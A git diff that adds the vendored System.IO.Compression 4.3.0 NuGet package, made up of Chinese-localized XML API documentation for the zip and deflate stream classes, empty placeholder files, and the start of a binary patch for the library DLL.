最多写入的字节数。 + 由于流已关闭，因此无法执行写入操作。 + + + 表示 Zip 存档格式中的一个压缩文件包。 + + + 从指定流初始化 类的新实例。 + 即包含待读取的存档的流。 + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + 在指定的模式下，从指定的流初始化 类的新实例。 + 输入流或输出流。 + 指示 zip 存档是否用于读取、创建或更新项的一个枚举值。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 对于指定的模式，初始化指定流上的 类的新实例，并有选择性地使流保持打开状态。 + 输入流或输出流。 + 指示 zip 存档是否用于读取、创建或更新项的一个枚举值。 + 如果在释放 对象之后打开流对象，则为 true；否则为 false。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 对于指定的模式，初始化指定流上的 类的新实例，使用项名的指定编码，并有择性地使流保持打开状态。 + 输入流或输出流。 + 指示 zip 存档是否用于读取、创建或更新项的一个枚举值。 + 如果在释放 对象之后打开流对象，则为 true；否则为 false。 + 在存档中读取或写入项名时使用的编码。仅当需要针对具有不支持项名的 UTF-8 编码的 zip 归档工具和库的互操作性进行编码时，为此参数指定一个值。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 创建在 zip 存档中有指定路径和项名的空项。 + 在 zip 存档中的空项。 + 相对于存档的根的路径指定了要创建项的名称。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + 创建在 zip 存档中有指定项名和压缩级别的空项。 + 在 zip 存档中的空项。 + 相对于存档的根的路径指定了要创建项的名称。 + 指示创建项时是否强调速度或压缩有效性的枚举值之一。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + 释放 类的当前实例使用的资源。 + + + 由 和 方法调用，以释放 类的当前实例使用的未托管资源，并有选择性地完成编写存档以及释放托管资源。 + true 则完成编写存档并释放未托管和托管资源；false 则仅释放未托管资源。 + + + 获取 zip 存档中当前存在的项的集合。 + 在 zip 存档中当前存在的项的集合。 + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + 在 zip 存档中检索指定项的包装。 + 存档中指定项的包装器；如果存档中不存在此项目则为 null。 + 识别要检索的项、相对于存档的根的路径。 + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + 获取描述 zip 存档可在项上执行的操作类型的一个值。 + 描述 zip 存档可在项上执行的操作类型（读取、创建或更新）的一个枚举值。 + + + 表示 zip 档案中的压缩文件。 + + + 获取该项所属的 zip 存档。 + 项所属的 zip 存档，或如果已删除项，则为 null。 + + + 获取在 zip 存档中的项的压缩大小。 + 在 zip 存档中的项的压缩大小。 + The value of the property is not available because the entry has been modified. + + + 删除 zip 存档中的项。 + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + 获取 zip 存档中的项的相对路径。 + 在 zip 存档中的项的相对路径。 + + + 获取或设置最近一次更改 zip 存档中的项的时间。 + 最近一次更改 zip 存档中的项的时间。 + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + 获取 zip 存档中的项的未压缩大小。 + 在 zip 存档中的项的未压缩大小。 + The value of the property is not available because the entry has been modified. + + + 获取在 zip 存档中的项的文件名。 + 在 zip 存档中的项的文件名。 + + + 打开 zip 存档中的项。 + 表示项的内容的流。 + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + 检索 zip 存档中项的相对路径。 + 项的相对路径，即存储在 属性中的值。 + + + 指定与 zip 存档项互交的值。 + + + 只允许创建新存档项。 + + + 只允许读取存档项。 + + + 存档项允许读取和写入操作。 + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/zh-hant/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/zh-hant/System.IO.Compression.xml new file mode 100644 index 0000000..e14f0da --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/zh-hant/System.IO.Compression.xml @@ -0,0 +1,432 @@ + + + + System.IO.Compression + + + + 指定值，這個值表示壓縮作業會強調速度還是壓縮大小。 + + + 即使不能有效壓縮所產生的檔案，應該儘速完成壓縮作業。 + + + 不應該對檔案執行壓縮。 + + + 壓縮作業應該會進行最佳化壓縮，即使該作業耗費更長的時間才能完成。 + + + 指定是要壓縮還是要解壓縮基礎資料流。 + + + 壓縮基礎資料流。 + + + 解壓縮基礎資料流。 + + + 提供方法和屬性，以透過 Deflate 演算法來壓縮和解壓縮資料流。 + + + 使用指定的資料流和壓縮層級，初始化 類別的新執行個體。 + 要壓縮的資料流。 + 其中一個列舉值，指出當壓縮資料流時是否要強調速度或壓縮的效益。 + + 為 null。 + 資料流不支援寫入作業，例如壓縮。(資料流物件上的 屬性是false)。 + + + 使用指定的資料流和壓縮層級，初始化 類別的新執行個體，並選擇性地保持開啟資料流。 + 要壓縮的資料流。 + 其中一個列舉值，指出當壓縮資料流時是否要強調速度或壓縮的效益。 + true 表示在處置 物件之後，將資料流物件保持開啟；否則為 false。 + + 為 null。 + 資料流不支援寫入作業，例如壓縮。(資料流物件上的 屬性是false)。 + + + 使用指定的資料流和壓縮模式，初始化 類別的新執行個體。 + 要壓縮或解壓縮的資料流。 + 其中一個列舉值，表示要壓縮還是解壓縮資料流。 + + 為 null。 + + 不是有效的 值。-或- 是 ，而 是 false。-或- 是 ，而 是 false。 + + + 使用指定的資料流和壓縮模式，初始化 類別的新執行個體，並選擇性地保持開啟資料流。 + 要壓縮或解壓縮的資料流。 + 其中一個列舉值，表示要壓縮還是解壓縮資料流。 + true 表示在處置 物件之後，將資料流保持開啟；否則為 false。 + + 為 null。 + + 不是有效的 值。-或- 是 ，而 是 false。-或- 是 ，而 是 false。 + + + 取得基礎資料流的參考。 + 資料流物件，表示基礎資料流。 + 已關閉基礎資料流。 + + + 取得值，指出在解壓縮檔案時，資料流是否支援讀取。 + 如果 值為 Decompress，且基礎資料流處於開啟狀態並支援讀取，則為 true；否則為 false。 + + + 取得值，指出資料流是否支援搜尋。 + 所有情況下都是 false。 + + + 取得值，指出資料流是否支援寫入。 + 如果 值為 Compress，並且基礎資料流支援寫入，且不處於關閉狀態，則為 true；否則為 false。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 這個方法目前的實作沒有任何功能。 + 已關閉資料流。 + + + + + + 這個屬性不受支援，而且一律會擲回 。 + 長整數值。 + 這個資料流不支援這個屬性。 + + + + + + 這個屬性不受支援，而且一律會擲回 。 + 長整數值。 + 這個資料流不支援這個屬性。 + + + + + + 將大量解壓縮的位元組讀入指定的位元組陣列。 + 已讀入至位元組陣列的位元組數。 + 用於儲存解壓縮位元組的陣列。 + 要在其中放置讀取位元組之 的位元組位移。 + 要讀取的最大解壓縮位元組數。 + + 為 null。 + 建立物件時， 的值為 Compress。-或- 基礎資料流不支援讀取。 + + 或 小於零。-或- 長度減去索引起點小於 。 + 資料的格式無效。 + 已關閉資料流。 + + + 這個作業不受支援，而且一律會擲回 。 + 長整數值。 + 在資料流中的位置。 + 其中一個 值。 + 這個資料流不支援這個屬性。 + + + 這個作業不受支援，而且一律會擲回 。 + 資料流的長度。 + 這個資料流不支援這個屬性。 + + + 從指定的位元組陣列將壓縮的位元組寫入基礎資料流。 + 包含要壓縮之資料的緩衝區。 + + 中的位元組位移，即讀取位元組的來源位置。 + 寫入的最大位元組數。 + + + 提供用於壓縮和解壓縮資料流的方法和屬性。 + + + 使用指定的資料流和壓縮層級，初始化 類別的新執行個體。 + 要寫入壓縮資料的資料流。 + 其中一個列舉值，指出當壓縮資料流時是否要強調速度或壓縮的效益。 + + 為 null。 + 資料流不支援寫入作業，例如壓縮。(資料流物件上的 屬性是false)。 + + + 使用指定的資料流和壓縮層級，初始化 類別的新執行個體，並選擇性地保持開啟資料流。 + 要寫入壓縮資料的資料流。 + 其中一個列舉值，指出當壓縮資料流時是否要強調速度或壓縮的效益。 + true 表示在處置 物件之後，將資料流物件保持開啟；否則為 false。 + + 為 null。 + 資料流不支援寫入作業，例如壓縮。(資料流物件上的 屬性是false)。 + + + 使用指定的資料流和壓縮模式，初始化 類別的新執行個體。 + 寫入壓縮或解壓縮資料的資料流。 + 其中一個列舉值，表示要壓縮還是解壓縮資料流。 + + 為 null。 + + 不是有效的 列舉值。-或- 是 ，而 是 false。-或- 是 ，而 是 false。 + + + 使用指定的資料流和壓縮模式，初始化 類別的新執行個體，並選擇性地保持開啟資料流。 + 寫入壓縮或解壓縮資料的資料流。 + 其中一個列舉值，表示要壓縮還是解壓縮資料流。 + true 表示在處置 物件之後，將資料流保持開啟；否則為 false。 + + 為 null。 + + 不是有效的 值。-或- 是 ，而 是 false。-或- 是 ，而 是 false。 + + + 取得基礎資料流的參考。 + 資料流物件，表示基礎資料流。 + 已關閉基礎資料流。 + + + + + + 取得值，指出在解壓縮檔案時，資料流是否支援讀取。 + 如果 值為 Decompress,，並且基礎資料流支援讀取，且不處於關閉狀態，則為 true；否則為 false。 + + + + + + 取得值，指出資料流是否支援搜尋。 + 所有情況下都是 false。 + + + 取得值，指出資料流是否支援寫入。 + 如果 值為 Compress，並且基礎資料流支援寫入，且不處於關閉狀態，則為 true；否則為 false。 + + + + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 這個方法目前的實作沒有任何功能。 + 已關閉資料流。 + + + + + + 這個屬性不受支援，而且一律會擲回 。 + 長整數值。 + 這個資料流不支援這個屬性。 + + + + + + 這個屬性不受支援，而且一律會擲回 。 + 長整數值。 + 這個資料流不支援這個屬性。 + + + + + + 將大量解壓縮的位元組讀入指定的位元組陣列。 + 解壓縮至位元組陣列的位元組數。如果已達到資料流的結尾，則會傳回零或位元組數。 + 用於儲存解壓縮位元組的陣列。 + 要在其中放置讀取位元組之 的位元組位移。 + 要讀取的最大解壓縮位元組數。 + + 為 null。 + 建立物件時， 的值為 Compress。-或-基礎資料流不支援讀取。 + + 或 小於零。-或- 長度減去索引起點小於 。 + 資料的格式無效。 + 已關閉資料流。 + + + 這個屬性不受支援，而且一律會擲回 。 + 長整數值。 + 在資料流中的位置。 + 其中一個 值。 + 這個資料流不支援這個屬性。 + + + 這個屬性不受支援，而且一律會擲回 。 + 資料流的長度。 + 這個資料流不支援這個屬性。 + + + 從指定的位元組陣列將壓縮的位元組寫入基礎資料流。 + 包含要壓縮之資料的緩衝區。 + + 中的位元組位移，即讀取位元組的來源位置。 + 寫入的最大位元組數。 + 無法執行寫入作業，因為資料流已關閉。 + + + 代表 zip 封存格式的壓縮檔封裝。 + + + 從指定的資料流，初始化 類別的新執行個體。 + 包含要讀取之封存的資料流。 + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + 使用指定的模式，從指定的資料流初始化 類別的新執行個體。 + 輸入或輸出資料流。 + 其中一個列舉值，指出是否使用 zip 封存讀取、建立或更新項目。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 在指定之模式的指定資料流上，初始化 類別的新執行個體，並選擇性地保留資料流開啟狀態。 + 輸入或輸出資料流。 + 其中一個列舉值，指出是否使用 zip 封存讀取、建立或更新項目。 + true 表示在處置 物件之後，將資料流保持開啟，否則為 false。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 在指定模式的指定資料流上，初始化 類別的新執行個體，使用項目名稱的指定編碼方式，並選擇性地保留資料流開啟狀態。 + 輸入或輸出資料流。 + 其中一個列舉值，指出是否使用 zip 封存讀取、建立或更新項目。 + true 表示在處置 物件之後，將資料流保持開啟，否則為 false。 + 在此封存中讀取或寫入項目名稱時要使用的編碼方式。只有需要編碼以與 Zip 封存工具和程式庫互通，且這類工具和程式庫不支援項目名稱使用 UTF-8 編碼時，才指定此參數的值。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 在 zip 封存中建立具有指定之路徑和項目名稱的空項目。 + Zip 封存中的空項目。 + 指定要建立之項目名稱的路徑 (相對於封存的根目錄)。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + 在 zip 封存中建立具有指定之項目名稱和壓縮等級的空項目。 + Zip 封存中的空項目。 + 指定要建立之項目名稱的路徑 (相對於封存的根目錄)。 + 其中一個列舉值，指出建立項目時是否要強調速度或壓縮的效益。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + 將 類別目前的執行個體所使用的資源釋出。 + + + 由 和 方法呼叫以釋放 類別之目前執行個體所使用的 Unmanaged 資源，並選擇性完成封存的寫入以及釋放 Managed 資源。 + true 表示完成寫入封存並釋放 Managed 和 Unmanaged 資源，false 表示只釋放 Unmanaged 資源。 + + + 取得目前 zip 封存中所包含項目的集合。 + 目前 zip 封存中所包含項目的集合。 + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + 在 zip 封存中擷取指定項目的包裝函式。 + 封存中指定項目的包裝函式，如果項目不存在於封存中則為 null。 + 識別要擷取之項目的路徑 (相對於封存的根目錄)。 + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + 取得值，描述 zip 封存可以在項目上執行的動作類型。 + 其中一個列舉值，其描述 zip 封存可以在項目上執行的動作類型 (讀取、建立或更新)。 + + + 表示 zip 封存中的壓縮檔。 + + + 取得項目所屬的 zip 封存。 + 項目所屬的 Zip 封存，如果已刪除項目，則為 null。 + + + 取得 Zip 封存中的項目壓縮大小。 + Zip 封存中項目的壓縮大小。 + The value of the property is not available because the entry has been modified. + + + 從 zip 封存中刪除項目。 + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + 取得 Zip 封存中的項目相對路徑。 + Zip 封存中的項目相對路徑。 + + + 取得或設定上次變更 zip 封存中之項目的時間。 + 上次變更 zip 封存中之項目的時間。 + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + 取得 Zip 封存中的項目未壓縮大小。 + Zip 封存中的項目未壓縮大小。 + The value of the property is not available because the entry has been modified. + + + 取得 Zip 封存中的項目檔名。 + Zip 封存中的項目檔名。 + + + 從 zip 封存中開啟項目。 + 代表此項目內容的資料流。 + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + 擷取 Zip 封存中項目的相對路徑。 + 項目的相對路徑，其為儲存在 屬性中的值。 + + + 指定與 zip 封存項目互動的值。 + + + 僅允許建立新的封存項目。 + + + 僅允許讀取封存項目。 + + + 封存項目允許讀取及寫入作業。 + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/portable-net45+win8+wpa81/_._ b/packages/System.IO.Compression.4.3.0/ref/portable-net45+win8+wpa81/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/ref/win8/_._ b/packages/System.IO.Compression.4.3.0/ref/win8/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/ref/wpa81/_._ b/packages/System.IO.Compression.4.3.0/ref/wpa81/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/ref/xamarinios10/_._ b/packages/System.IO.Compression.4.3.0/ref/xamarinios10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/ref/xamarinmac20/_._ b/packages/System.IO.Compression.4.3.0/ref/xamarinmac20/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/ref/xamarintvos10/_._ b/packages/System.IO.Compression.4.3.0/ref/xamarintvos10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/ref/xamarinwatchos10/_._ b/packages/System.IO.Compression.4.3.0/ref/xamarinwatchos10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.Compression.4.3.0/runtimes/unix/lib/netstandard1.3/System.IO.Compression.dll b/packages/System.IO.Compression.4.3.0/runtimes/unix/lib/netstandard1.3/System.IO.Compression.dll new file mode 100644 index 0000000000000000000000000000000000000000..004f3bc25a96c11982c0c5288511372b324f066e GIT binary patch literal 117624 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 